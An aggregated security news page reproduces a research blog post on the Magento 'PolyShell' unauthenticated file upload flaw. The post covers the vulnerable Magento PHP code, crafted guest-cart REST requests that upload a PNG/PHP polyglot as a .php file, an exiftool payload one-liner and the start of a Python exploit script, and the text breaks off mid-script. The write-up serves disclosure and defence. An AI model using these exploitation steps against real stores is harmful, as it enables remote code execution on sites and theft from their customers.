Security News

Cybersecurity news aggregator

🔓
CRITICAL Vulnerabilities Reddit r/netsec

Magento PolyShell – Unauthenticated File Upload to RCE in Magento (APSB25-94)

The vulnerability, dubbed PolyShell (APSB25-94), is an unauthenticated, unrestricted file upload flaw in the Magento REST API that allows attackers to upload arbitrary files via crafted `file_info` objects in guest cart requests, leading to remote code execution or persistent file storage. The article states it affects all production versions of Magento Open Source and Adobe Commerce up to version 2.4.9-alpha2. The summary does not provide a CVSS score, fixed version, or specific workaround.
Read Full Article →

Home / Research / Magento PolyShell – Unauthenticated File Upload to RCE in Magento (APSB25-94) March 26, 2026 Magento PolyShell – Unauthenticated File Upload to RCE in Magento (APSB25-94) March 26, 2026 Security research Tomais Williamson Magento PolyShell – Unauthenticated File Upload to RCE in Magento (APSB25-94) Magento remains one of the most popular e-commerce solutions in use on the internet, estimated to be running on more than 130,000 websites. It is also offered as an enterprise offering by Adobe under the name Adobe Commerce, which receives automatic patching. On March 17th 2026, Sansec released new research dubbed PolyShell (APSB25-94), an unauthenticated unrestricted file upload vulnerability affecting every production version of Magento Open Source and Adobe Commerce up to 2.4.9-alpha2. In the right conditions, it results in unauthenticated remote code execution. In all conditions, it leaves an attacker-controlled file persistently on disk. This blog post explores the conditions necessary to exploit this vulnerability. The Bug In Sansec’s disclosure, they leave a few hints as to where the bug is. Their technical analysis states: Magento’s REST API accepts file uploads as part of the cart item custom options. When a product option has type “file”, Magento processes an embedded file_info object containing base64-encoded file data, a MIME type, and a filename. The file is written to pub/media/custom_options/quote/ on the server. So we know we’re looking at the same REST API as the last bug . Also, we know that it’s a file_info field somewhere inside of cart custom options. Searching for file_info within the Magento codebase leads to its definition within extension_attributes.xml , and the sink of ImageContentInterface . We can then trace our way back up the object chain via other types defined in lib/internal/Magento/Framework/Api/Data and app/code/Magento/*/extension_attributes.xml . This leads us up to CartItemInterface , which is accessible via GuestCartItemRepositoryInterface::save(CartItemInterface $cartItem) . Looking at app/code/Magento/Quote/etc/webapi.xml , we can access this interface by creating a POST request to the REST API endpoint /rest/default/V1/guest-carts/:cartId/items . All-together, a normal request looks something like this: POST /rest/default/V1/guest-carts/cart_id/items HTTP/1.1 Host: example.com Accept: application/json Content-Type: application/json Content-Length: 418 { "cart_item": { "qty": 1, "sku": "some_product", "product_option": { "extension_attributes": { "custom_options": [ { "option_id": "1", "option_value": "file", "extension_attributes": { "file_info": { "base64_encoded_data": "...", "name": "some_file.png", "type": "image/png" } } } ] } } } } This gives us something to play with, in order to figure out where the bug actually is. It just needs two easily obtainable bits of information to function. The first is cart_id in the URL, which can be generated with a simple POST /rest/default/V1/guest-carts . The second is the sku , which can be obtained either from scraping the site, or more easily via the GraphQL API: POST /graphql HTTP/1.1 Host: example.com Accept: application/json Content-Type: application/json Content-Length: 69 {"query":"{ products(search: "", pageSize: 1) { items { sku } } }"} This will pull just the SKU of the first product it can find on the site and spit it out in a JSON blob. A couple of other things to note are that the product doesn’t actually need to have file uploads configured on it. Any product will do. Related to this, the option_id doesn’t matter either. 12345 will work as well as 1 and 9999 . Back to figuring out where the bug is. Stepping through with a debugger first leads us to ImageProcessor::processImageContent . class ImageProcessor implements ImageProcessorInterface { public function processImageContent($entityType, $imageContent) { if (!$this->contentValidator->isValid($imageContent)) { // [1] throw new InputException(new Phrase('The image content is invalid. Verify the content and try again.')); } $fileContent = @base64_decode($imageContent->getBase64EncodedData(), true); $tmpDirectory = $this->filesystem->getDirectoryWrite(DirectoryList::SYS_TMP); $fileName = $this->getFileName($imageContent); // [2] $tmpFileName = substr(md5(rand()), 0, 7) . '.' . $fileName; $tmpDirectory->writeFile($tmpFileName, $fileContent); $fileAttributes = [ 'tmp_name' => $tmpDirectory->getAbsolutePath() . $tmpFileName, 'name' => $imageContent->getName() ]; try { $this->uploader->processFileAttributes($fileAttributes); $this->uploader->setFilesDispersion(true); $this->uploader->setFilenamesCaseSensitivity(false); $this->uploader->setAllowRenameFiles(true); $destinationFolder = $entityType; $this->uploader->save($this->mediaDirectory->getAbsolutePath($destinationFolder), $fileName); // [4] } catch (Exception $e) { $this->logger->critical($e); } return $this->uploader->getUploadedFileName(); } private function getFileName($imageContent) { $fileName = $imageContent->getName(); if (!pathinfo($fileName, PATHINFO_EXTENSION)) { // [3] if (!$imageContent->getType() || !$this->getMimeTypeExtension($imageContent->getType())) { throw new InputException(new Phrase('Cannot recognize image extension.')); } $fileName .= '.' . $this->getMimeTypeExtension($imageContent->getType()); } return $fileName; } } This code: Checks if the image content is “valid”. Gets the file name. If the file name doesn’t have an extension, append one based on the image type. Move the uploaded file to destination folder. Okay, so assuming we upload a “valid” image, we can specify whatever extension we like. What constitutes a “valid” image though? Digging into ImageContentValidator::isValid reveals that it doesn’t require much: class ImageContentValidator implements ImageContentValidatorInterface { private $defaultMimeTypes = [ 'image/jpg', 'image/jpeg', 'image/gif', 'image/png', ]; private $allowedMimeTypes; public function __construct( array $allowedMimeTypes = [] ) { $this->allowedMimeTypes = array_merge($this->defaultMimeTypes, $allowedMimeTypes); } public function isValid(ImageContentInterface $imageContent) { $fileContent = @base64_decode($imageContent->getBase64EncodedData(), true); // [1] if (empty($fileContent)) { throw new InputException(new Phrase('The image content must be valid base64 encoded data.')); } $imageProperties = @getimagesizefromstring($fileContent); // [2] if (empty($imageProperties)) { throw new InputException(new Phrase('The image content must be valid base64 encoded data.')); } $sourceMimeType = $imageProperties['mime']; // [3] if ($sourceMimeType != $imageContent->getType() || !$this->isMimeTypeValid($sourceMimeType)) { throw new InputException(new Phrase('The image MIME type is not valid or not supported.')); } if (!$this->isNameValid($imageContent->getName())) { // [4] throw new InputException(new Phrase('Provided image name contains forbidden characters.')); } return true; } protected function isMimeTypeValid($mimeType) { return in_array($mimeType, $this->allowedMimeTypes); } protected function isNameValid($name) { // Cannot contain / ? * : " ; < > ( ) | { } if ($name === null || !preg_match('/^[^\/?*:";<>()|{}\\]+$/', $name)) { return false; } return true; } } So as long as the image: is non-empty; has a size; has a valid MIME type; and has a file name that doesn’t contain blocked characters, then the image is considered valid. Nowhere in there is a check for whether the file extension matches the MIME type. As the name of the vulnerability implies, we can upload a polyglot shell to meet these requirements. Despite sounding fancy, PHP polyglots are incredibly easy to generate. A polyglot is just a file that is multiple valid file formats at once. The simplest ones can be created by just sticking GIF89a right before the PHP payload, which works because the GIF format is pretty easy to meet. Hand-waving a little here, but as long as a GIF starts with GIF89a and has some data after that, it’s a valid file. At least, it’s valid according to getimagesizefromstring , which is all that matters. Another option is to embed the PHP into an image as extra metadata, like a Comment in a PNG file . Using a small 1×1 pixel image as the input keeps the payload small, and embedding the payload as a comment instead of overwriting data keeps the whole image valid. exiftool tiny.png -Comment='<?php echo "RESULT:" . (2 * 1337); ?>' -o - | base64 -w0 With a payload in-hand, the request now looks something like this: { "cart_item": { "qty": 1, "sku": "some_product", "product_option": { "extension_attributes": { "custom_options": [ { "option_id": "12345", "option_value": "file", "extension_attributes": { "file_info": { "base64_encoded_data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAALXRFWHRDb21tZW50ADw/cGhwIGVjaG8gIlJFU1VMVDoiIC4gKDIgKiAxMzM3KTsgPz75k3lQAAAAD0lEQVR4AQEEAPv/AHf66QRGAluYv6aFAAAAAElFTkSuQmCC", "name": "some_file.php", "type": "image/png" } } } ] } } } } This file then gets uploaded to pub/media/custom_options/quote/<FIRST_CHAR>/<SECOND_CHAR>/<FILE_NAME> (or in this case pub/media/custom_options/quote/s/o/some_file.php . We can chain this all together into a Python script like so: import requests import base64 import random import string from subprocess import Popen, PIPE BASE_URL = "http://example.com" PAYLOAD = '<?php echo "RESULT:" . (2 * 1337); ?>' EXPECTED_PAYLOAD_RESULT = str(2*1337) # PAYLOAD_FILENAME = 'index.php' PAYLOAD_FILENAME = ''.join(random.choices(string.ascii_lowercase+string.digits, k=10)) + '.php' TINY_PNG = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAD0lEQVR4AQEEAPv/AHf66QRGAluYv6aFAAAAAElFTkSuQmCC" JSON_HEADERS = {"Accept": "application/json", "Content-Type": "application/json"} if __name__ == "__main__": print("Building payload") p = Popen(['exiftool', f"-Comment='{PAYLOAD}'", '-o', '-', '-'], stdin=PIPE, stdout=PIPE, stderr=PIPE) stdout, stderr = p.communicate(base64.b64decode(TINY_PNG)) assert stderr == b'' assert stdout != b'' b64

Share this article